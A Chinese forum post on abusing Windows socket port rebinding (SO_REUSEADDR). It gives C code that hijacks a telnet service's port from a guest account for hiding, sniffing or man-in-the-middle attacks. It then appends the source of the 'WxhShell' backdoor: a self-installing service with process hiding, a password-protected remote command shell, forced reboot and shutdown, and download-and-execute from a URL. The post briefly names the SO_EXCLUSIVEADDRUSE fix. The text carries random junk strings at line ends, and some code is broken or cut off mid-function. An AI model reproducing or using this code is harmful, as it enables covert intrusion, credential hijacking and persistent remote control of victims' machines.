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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;vp\YIeX1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ($!KzxF3  
]/dVRkZeAE  
  saddr.sin_family = AF_INET; kE)!<1yy2  
sbsu(Sz+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .BZVX=x  
qfL-r,XS`F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t#~?{i@m  
#hxyOq,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ffcLuXa  
|. C1|J'Z  
  这意味着什么?意味着可以进行如下的攻击: w:ULi3  
FJS'G^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XGs^rIf  
KSqTY>%fnv  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }Uw#f@Wh  
zV.pol  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  [aW =  
\e:d)^cbh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4A.Q21s  
tIZ~^*'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J !#Zi#8sF  
Fi;VDK(V9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T] | d 5E  
'fW#7W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -q>^ALf|@>  
J)x3\[}Ye  
  #include h/ep`-YaH  
  #include vzR=>0#  
  #include SN">gmY+  
  #include    8b&uU [  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l I-p_K  
  int main() xAdq+$><  
  { &=q! Wdw~  
  WORD wVersionRequested; vv5i? F  
  DWORD ret; Jh@_9/?  
  WSADATA wsaData; Fvl`2W94;  
  BOOL val; d/U."V}  
  SOCKADDR_IN saddr; jPJAWXB4a  
  SOCKADDR_IN scaddr; Zk`#VH  
  int err; rU\[SrIhz  
  SOCKET s; trYTs,KV  
  SOCKET sc; x0+glQrNN  
  int caddsize; \U@3`  
  HANDLE mt; #@//7Bf%  
  DWORD tid;   pB01J<@m  
  wVersionRequested = MAKEWORD( 2, 2 ); 9]yW_]P  
  err = WSAStartup( wVersionRequested, &wsaData ); Fr:5$,At7-  
  if ( err != 0 ) { 665[  
  printf("error!WSAStartup failed!\n"); Dn;p4T@  
  return -1; p^QZq>v  
  } N}Vn;29  
  saddr.sin_family = AF_INET; y\PxR708  
   2$0)?ZC?=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Spj9H?m  
y-+G wa3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |B[eJq  
  saddr.sin_port = htons(23); iuAq.$oi{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l)|lTOjb  
  { [)|+F wJ  
  printf("error!socket failed!\n"); '}{?AUDx  
  return -1; km 5E)_]  
  } \ TL82H@D  
  val = TRUE; p:[LnL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H5M#q6`H6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q627<  
  { ! D1zXXq  
  printf("error!setsockopt failed!\n"); U^$E'Q-VK  
  return -1; n0fRu`SNV  
  } (F&YdWe:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m|4LbWz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 EXbTCT}`x  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "tR}j,=S:D  
(!</%^ZI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) buY D l  
  { Ay$>(;  
  ret=GetLastError(); kk_zVrQ<  
  printf("error!bind failed!\n"); Q[_Ni15  
  return -1; - 9&g[  
  } pVG>A&4  
  listen(s,2); p24.bLr  
  while(1) H1T~u{8j}  
  { Pj!%ym3A  
  caddsize = sizeof(scaddr); *m&&1W_  
  //接受连接请求 l,y^HTc}7/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ScJu_A f  
  if(sc!=INVALID_SOCKET) hqW$k w  
  { FfYsSq2l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %b<%w    
  if(mt==NULL) [.3sE  
  { (02g#A`  
  printf("Thread Creat Failed!\n"); PqfVX8/q0  
  break; <}2A=~ _  
  } Qp+lJAY  
  } .^H1\p];Lw  
  CloseHandle(mt); RV92qn B  
  } l<N?'&  
  closesocket(s); az bUc4M  
  WSACleanup(); _85E=  
  return 0; 3"tg+DncC  
  }   (xUFl@I!  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0O; Z  
  { J/7 u7_  
  SOCKET ss = (SOCKET)lpParam; #pa\ 2d|  
  SOCKET sc; U_Y;fSl>  
  unsigned char buf[4096]; \e0x ,2  
  SOCKADDR_IN saddr; =,E'~P  
  long num; %kW3hQ<$  
  DWORD val; ee\Gl?VN  
  DWORD ret; my=~"bw4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Esa6hU#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ] - h|]  
  saddr.sin_family = AF_INET; ,whM22Af~{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d#Wn[h$"  
  saddr.sin_port = htons(23); auoA   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %Fm`Y .l  
  { hhj ,rcsi  
  printf("error!socket failed!\n"); ?a8nz, zb  
  return -1;  qKx59  
  } jL2MW(d^Q  
  val = 100; =ZrjK=K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y|LXDq4Wj  
  { #PPsRKj3c  
  ret = GetLastError(); ?e2Y`0  
  return -1; <H_LFrB$W  
  } EKJH_!%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C7T;;1P?  
  { ;<~j)8  
  ret = GetLastError(); P^n{Y~P=Q  
  return -1; ]q37Hj  
  } +E `063  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YFAnlqC  
  { ":z@c,  
  printf("error!socket connect failed!\n"); uRs9}dzv  
  closesocket(sc); _"`uqW79  
  closesocket(ss); /$<JCNGv  
  return -1; R+x%r&L5F  
  } &a~L_`\'  
  while(1) wfWS-pQ  
  { P[6dTZ!\s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <vO8_2,V-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,at-ci\'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?WMi S]Q\  
  num = recv(ss,buf,4096,0); }$w4SpR  
  if(num>0) dUUPhk0  
  send(sc,buf,num,0); Q=MCMe  
  else if(num==0) dcM+ylB  
  break; i"ck`6v"8  
  num = recv(sc,buf,4096,0); ,!8*g[^O  
  if(num>0) zww?  
  send(ss,buf,num,0); M_|M&lR>  
  else if(num==0) / *O u$  
  break; moZ)|y  
  } Vl&+/-V  
  closesocket(ss); B/:>{2cm  
  closesocket(sc); lu<Np9/5<  
  return 0 ; o&*1U"6D  
  } H@Kl  
xu0;a  
|~Htj4K/  
========================================================== X*43!\  
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下边附上一个代码,,WXhSHELL }D8~^   
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========================================================== LS*{]@8q  
$#g#[ /  
#include "stdafx.h" pqRO[XEp2  
]J GKL5~p  
#include <stdio.h> Q';\tGy  
#include <string.h> pQ4 %]Api  
#include <windows.h> >MBn2(\B;  
#include <winsock2.h> rin >r0o  
#include <winsvc.h> F&>T-u-dog  
#include <urlmon.h> ]Hv*^Bak  
ZA 99vO  
#pragma comment (lib, "Ws2_32.lib") e2,<,~_K6  
#pragma comment (lib, "urlmon.lib") Q;{D8 #!  
?w c3 +?\J  
#define MAX_USER   100 // 最大客户端连接数 ;7B2~zL  
#define BUF_SOCK   200 // sock buffer Y)@oo=oG  
#define KEY_BUFF   255 // 输入 buffer ]l9,t5Y  
ZlwcwoPib  
#define REBOOT     0   // 重启 s8/ozaeo  
#define SHUTDOWN   1   // 关机 9;m#>a@Y  
/It.>1~2@  
#define DEF_PORT   5000 // 监听端口 B h.6:9{  
=6L :I x  
#define REG_LEN     16   // 注册表键长度 =rs=8Ty?S  
#define SVC_LEN     80   // NT服务名长度 vQ9 xG))  
o3(|FN  
// 从dll定义API :7 s#5b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PW~cqo B71  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q>#)LHX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6c;?`C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }lr fO_  
*NX*/(Q  
// wxhshell配置信息 )%nt61P\W  
struct WSCFG { O(:u(U7e  
  int ws_port;         // 监听端口 f%(e,KgW=  
  char ws_passstr[REG_LEN]; // 口令 kW7&~tX  
  int ws_autoins;       // 安装标记, 1=yes 0=no x 1 R!  
  char ws_regname[REG_LEN]; // 注册表键名 o i,g  
  char ws_svcname[REG_LEN]; // 服务名 D7n&9Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #Fb0;H9`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )BMWC k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?U2g8D nFY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >cU*D:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cZ7F1H~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2#Q"@  
3n=O8Fp  
}; JsoWaD  
RvgAI`T7$  
// default Wxhshell configuration 5y 'ycTjY  
struct WSCFG wscfg={DEF_PORT, lD+y, ";  
    "xuhuanlingzhe", XV0<pV>  
    1, ?!Th-Cc&m  
    "Wxhshell", h&^/, G  
    "Wxhshell", N5I W@?4  
            "WxhShell Service", n"`SL<K1  
    "Wrsky Windows CmdShell Service", wft:eQ  
    "Please Input Your Password: ", LTlC}3c28f  
  1, VS@rM<K{  
  "http://www.wrsky.com/wxhshell.exe", ;74 DT  
  "Wxhshell.exe" /*xmv $  
    }; O(WMTa'%  
NVM2\fs  
// 消息定义模块 pdXgr)Uv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5{x[EXE'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $SD@D6`lL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w7]p9B  
char *msg_ws_ext="\n\rExit."; k)4lX|}Vm  
char *msg_ws_end="\n\rQuit."; 4UX]S\X  
char *msg_ws_boot="\n\rReboot..."; p Z|nn  
char *msg_ws_poff="\n\rShutdown..."; 2l}Fg D  
char *msg_ws_down="\n\rSave to "; ?28G6T]/?d  
@ #O|  
char *msg_ws_err="\n\rErr!"; :_b =Km<  
char *msg_ws_ok="\n\rOK!"; L"zgBB?K6  
D;;o  
char ExeFile[MAX_PATH]; oXZ@*   
int nUser = 0; '-1jWw:8  
HANDLE handles[MAX_USER]; ,`B>}  
int OsIsNt; <` VJU2  
9.w3VF_C  
SERVICE_STATUS       serviceStatus; 'Q;?_,`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7^ Q$pT>  
e+=G-u5}-  
// 函数声明 1'._SMP  
int Install(void); sNan"  
int Uninstall(void); H_nOE(i<z  
int DownloadFile(char *sURL, SOCKET wsh); w<^2h}5  
int Boot(int flag); DB?PS^-2  
void HideProc(void); \crb&EgID  
int GetOsVer(void); z@S8H6jM)S  
int Wxhshell(SOCKET wsl); U3R`mHr0  
void TalkWithClient(void *cs); BtBt>r(*  
int CmdShell(SOCKET sock); !5 :1'$d]H  
int StartFromService(void); 4!b'%)   
int StartWxhshell(LPSTR lpCmdLine); HW%bx"r+4f  
7-0twq   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6'lT`E|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PI<s5bns {  
^V;lZtZ  
// 数据结构和表定义 U JRT4>G  
SERVICE_TABLE_ENTRY DispatchTable[] = ng)yCa_Ny  
{ x6cl(J}  
{wscfg.ws_svcname, NTServiceMain}, Env}gCX  
{NULL, NULL} $TW+LWb   
}; tNNg[;0  
QMfy^t+I  
// 自我安装 xg%]\#  
int Install(void) YyBq+6nq5  
{ E$zq8-p|  
  char svExeFile[MAX_PATH]; */h 9"B  
  HKEY key; )RKhEm%Vr2  
  strcpy(svExeFile,ExeFile); J+*Y)k  
f$*9J  
// 如果是win9x系统,修改注册表设为自启动 k |aOUW  
if(!OsIsNt) { 4!RI2?4V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,OFr]74\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jc.Uh9Kc  
  RegCloseKey(key); JM4`k8mM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P\4o4MF@K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R$,iDv.jI  
  RegCloseKey(key); &7nfTc  
  return 0; 1OwkLy,P  
    } 2Mi;}J1C{  
  } &!aLOx*3`  
} jWm BUHCb  
else { dM$G)9N)K  
L6}x3  
// 如果是NT以上系统,安装为系统服务 'r <BaL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u:kY4T+Z  
if (schSCManager!=0) ?)<XuMh  
{ =ZL}Av}  
  SC_HANDLE schService = CreateService E|#R0n*  
  ( @+vTGjHA  
  schSCManager, )/^$JYz  
  wscfg.ws_svcname, H/I`c>Zn  
  wscfg.ws_svcdisp, c|a|z}(/J  
  SERVICE_ALL_ACCESS, ]xeyXw84k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L2A#OZZu  
  SERVICE_AUTO_START, O lIH0  
  SERVICE_ERROR_NORMAL, $ T_EsnN  
  svExeFile, UR=s{nFd  
  NULL, ,H1~_|)<  
  NULL, K1WoIv<Ym  
  NULL, !`U<RlK7  
  NULL, [|Pe'?zkf  
  NULL +Y[+2=lO  
  ); +W4g:bB1  
  if (schService!=0) {j@)sDM X  
  { VO6y9X"  
  CloseServiceHandle(schService); @S:/6__  
  CloseServiceHandle(schSCManager); E cz"O   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^$ bhmJYT  
  strcat(svExeFile,wscfg.ws_svcname); i(kK!7W35  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uQ1;+P:L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @ ]3Rw[% z  
  RegCloseKey(key); ZEJa dR  
  return 0; 8H b|'Q|^  
    } a];g  
  } 1uQf}  
  CloseServiceHandle(schSCManager); sYgnH:t X  
} Jjq%cA  
} Q^Z}Y~.  
?d)|vX3Uf  
return 1; $8}'6,  
} %lmRe(M  
KYW1<Wcp  
// 自我卸载 8;NO>L/J]i  
int Uninstall(void) PyF4uCn"H  
{ sn#h=,*4`  
  HKEY key; 3NWAy Cq-  
?@(H. D6'v  
if(!OsIsNt) { l d9#4D[#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `:4cb $  
  RegDeleteValue(key,wscfg.ws_regname); zghm2{:`?g  
  RegCloseKey(key); Z`KmH.l!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y'h'8 \  
  RegDeleteValue(key,wscfg.ws_regname); s30_lddD  
  RegCloseKey(key); uHCgIR l>  
  return 0; FCPRg^=<!~  
  } 'a*IZb-M  
} !Esiq<Yh  
}  :i$Z  
else { /XB1U[b  
7A-rF U$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PBv43uIL  
if (schSCManager!=0) o3kj7U:'x  
{ e{:qW'%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?Gfe?  
  if (schService!=0) i=+6R  
  { q4N$.hpb  
  if(DeleteService(schService)!=0) { D ]eF3a.G  
  CloseServiceHandle(schService); <|iU+.j\  
  CloseServiceHandle(schSCManager); < i|+p1t  
  return 0; w%\;|y4+  
  } KRe=n3 1  
  CloseServiceHandle(schService); .Ps;O  
  } -~k2Gy;E  
  CloseServiceHandle(schSCManager); STI3|}G*P  
} dr o42#$Mo  
} ]Ox.6BKjDP  
gjV&X N  
return 1; KK?~i[aL  
} $u sU  
*1n:  
// 从指定url下载文件 B!v1 gh  
int DownloadFile(char *sURL, SOCKET wsh) L\[jafb_`  
{ BKEB,K=K@  
  HRESULT hr; %9.KH  
char seps[]= "/"; nLg7A3[1v  
char *token; `39U I7  
char *file; _HQa3wj  
char myURL[MAX_PATH]; ~Zm(p*\T  
char myFILE[MAX_PATH]; :O%O``xT  
OA0\b_  
strcpy(myURL,sURL); @C2<AmY9q*  
  token=strtok(myURL,seps); ceCshxTU  
  while(token!=NULL) .y!Hw{cq  
  { \ck3y]a[  
    file=token; z6qC6Ck|  
  token=strtok(NULL,seps); 4 #N#[;M  
  } PhS"tOGtX  
4o8!p\a  
GetCurrentDirectory(MAX_PATH,myFILE); q.7CPm+  
strcat(myFILE, "\\"); |D~MS`~qd5  
strcat(myFILE, file); d?mdw ?|  
  send(wsh,myFILE,strlen(myFILE),0); N\?iU8w=  
send(wsh,"...",3,0); #C`!yU6(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Yq_zlxd%F  
  if(hr==S_OK) /Kvb$]F+!  
return 0; :<W 8uDAs  
else itU01  
return 1; 0)NHjKP  
".u?-xcbJ  
} MqqS3   
f2=s{0SX0  
// 系统电源模块 S]>_o"|HV  
int Boot(int flag) u@HP@>V  
{ u+9Mc u"  
  HANDLE hToken; (LjY<dQO  
  TOKEN_PRIVILEGES tkp; k#.co~kS  
ZS-9|EA<  
  if(OsIsNt) { SZPu"O\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); weOMYJO;8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZttL*KK  
    tkp.PrivilegeCount = 1;  ;P_Zen  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0)B+ :  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 580t@?  
if(flag==REBOOT) { 9pgct6BO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $ ]HIYYs  
  return 0; Oq("E(z+f  
} T^'i+>F!w  
else { ZDf9Npe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !ZVMx*1Cf  
  return 0; o kYsjK5  
} z 4-wvn<*  
  } G\ofg  
  else { r\] WDX!`  
if(flag==REBOOT) { pkoHi'}}$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .^uu* S_  
  return 0; "`S61m_  
} 1pK7EK3R  
else { bQ)r8[o!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SnqLF /d  
  return 0; f t7wMi  
} - zkB`~u_  
} S:d` z'  
L*Y}pO  
return 1; tx@Q/ou`\P  
} _,}Ye,(^=  
nRGH58  
// win9x进程隐藏模块 $Z j.  
void HideProc(void) -[F^~Gv|;  
{ 1a<,/N}}t  
q\,H9/.0k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x .q%O1  
  if ( hKernel != NULL ) %vksN$^  
  { g41LpplX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0,c z&8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *M*k-Z':.*  
    FreeLibrary(hKernel); i8{jMe!Sa  
  } |J\/U,nh  
JG_7G=~  
return; 6f?DW-)jp/  
} zQ [mO  
m$^7sFD$  
// 获取操作系统版本 iqU}t2vFrj  
int GetOsVer(void) C@[:}ZGMV  
{ 6Z"%vrH  
  OSVERSIONINFO winfo; E'ZWSpP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uC3$iY:_e  
  GetVersionEx(&winfo); ;2iZX=P`n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;V;4#  
  return 1; qgDBu\  
  else >}9TdP/oT  
  return 0; i~2>kxf;K1  
} {ys_uS{c*  
B8PF}Mf  
// 客户端句柄模块 \yy!?UlaI  
int Wxhshell(SOCKET wsl) )#Id 2b~  
{ P.wINo  
  SOCKET wsh; _CZ*z  
  struct sockaddr_in client; &F:7U!  
  DWORD myID; Rl(b tr1w  
rYLNV!_  
  while(nUser<MAX_USER) J+TYm%A;-  
{ KDhHp^IXQ  
  int nSize=sizeof(client); 'Go'87+`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r*g _  
  if(wsh==INVALID_SOCKET) return 1; jfWIPN  
o{ (v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @|^C h+%@  
if(handles[nUser]==0) %ry>p(-pC(  
  closesocket(wsh); RBb@@k[v  
else F ^\v`l,  
  nUser++; +vuW 9  
  } @bPJ}C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KyDBCCOv  
H5 -I}z  
  return 0; 48DsRy  
} N@VD-}E  
ug{F?LW[  
// 关闭 socket 81g&WQ'  
void CloseIt(SOCKET wsh) "Vh(%N`6  
{ ks{s Q@~  
closesocket(wsh); Y~CS2%j  
nUser--; r[lHYO  
ExitThread(0); pif8/e  
} <HD/&4$[  
#K[ @$BY:  
// 客户端请求句柄 NubD2  
void TalkWithClient(void *cs) Mqpo S  
{ HP8pEo0Y  
9GEcs(A*  
  SOCKET wsh=(SOCKET)cs; 9O)>>1}*S  
  char pwd[SVC_LEN]; 6nwO:?1o9  
  char cmd[KEY_BUFF]; rfZA21y{?  
char chr[1]; ( u _ sz  
int i,j; 3o?Lz7L  
lojn8uL  
  while (nUser < MAX_USER) { ^KlOD_GN|  
Glwpu-@X  
if(wscfg.ws_passstr) { p$V+IJtO(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p-}:7CXP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {/Cd^CK  
  //ZeroMemory(pwd,KEY_BUFF); ,|H!b%ZW  
      i=0;  O~S}u  
  while(i<SVC_LEN) { +2g3%c0}  
^J G}|v3$  
  // 设置超时 w;_Ds  
  fd_set FdRead; u>eu47"n!  
  struct timeval TimeOut; uqnZ  
  FD_ZERO(&FdRead); ( r O j,D  
  FD_SET(wsh,&FdRead); e`oc#Od&x]  
  TimeOut.tv_sec=8; Ju\"l8[f  
  TimeOut.tv_usec=0; -1o1k-8d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HT]ubw]rJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bcZonS  
`3OGCy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u2eq VrY  
  pwd=chr[0]; ,..b)H5n  
  if(chr[0]==0xd || chr[0]==0xa) { /?GBp[(0  
  pwd=0; B8&@Qc@~  
  break; $X?V_K;9/  
  } |j+~Td3})&  
  i++; zk]~cG5dT/  
    } Hke\W'&  
dO@iq^9-  
  // 如果是非法用户,关闭 socket 2V]2jxOQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pGFocw  
} a$GKrc,z  
oMPQkj;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1K`A.J:Uy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H1]\B:  
 fwEi//1  
while(1) { %F~ dmA#:  
}pA4#{)  
  ZeroMemory(cmd,KEY_BUFF); .DQ]q o]OG  
x#^kv)  
      // 自动支持客户端 telnet标准   (}:xs,Ax  
  j=0; %9lxE[/  
  while(j<KEY_BUFF) {  #59zv=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8M|Q^VeT,1  
  cmd[j]=chr[0]; l.BNe)1!22  
  if(chr[0]==0xa || chr[0]==0xd) { I?"5i8E  
  cmd[j]=0; bo2Od  
  break; m ";gD[m  
  } 4Y!v$r  
  j++; UXP;'  
    } cMv3` $  
^kq!/c3r  
  // 下载文件 iH>djGhTh  
  if(strstr(cmd,"http://")) { ($s{em4L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2Kidbf  
  if(DownloadFile(cmd,wsh)) Oc.>$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =N c`hP  
  else 55,-1tWs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 Yp;?p^  
  } >U)O@W)  
  else { )B_h"5X4\y  
N[-)c,O  
    switch(cmd[0]) { zYL^e @  
  4Z] 35*  
  // 帮助 F'I6aE%  
  case '?': { s__g*%@B b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7L*`nU|h  
    break; U~m.I  
  } (R-Q9F+;  
  // 安装 i`qh|w/b_  
  case 'i': { N,|oV|i  
    if(Install()) gISs+g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~}w 8UO  
    else n&]w* (,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fm0 (  
    break; jH1~Ve+q9  
    } [w f12P  
  // 卸载 UZra'+Wb  
  case 'r': { *$VurqLn  
    if(Uninstall()) M6iKl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  6qlr+f  
    else 3:Wr)>l}#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4(82dmKO  
    break; 8H?AL RG  
    } _=5ZB_I  
  // 显示 wxhshell 所在路径 FS:WbFmc  
  case 'p': { k6BgY|0gC  
    char svExeFile[MAX_PATH]; <.ky1aex7  
    strcpy(svExeFile,"\n\r"); *q{UipZbx  
      strcat(svExeFile,ExeFile); Z&,}Fgl!F  
        send(wsh,svExeFile,strlen(svExeFile),0); =*jcO119L  
    break; -e>)yM `i  
    } Qs:r@"hE  
  // 重启 u#~! %~  
  case 'b': { :8rCCop Uv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _ GSw\r  
    if(Boot(REBOOT)) 8BDL{?Mu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !$Z"\v'b  
    else { 9DX3]Z\7X  
    closesocket(wsh); Sj?sw]3  
    ExitThread(0); G>QTPXcD  
    } %SCu29km  
    break; lvi:I+VgA  
    } VWt'Kx"  
  // 关机 BtChG] N|  
  case 'd': { M7,MxwZ0k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <>_Wd AOuD  
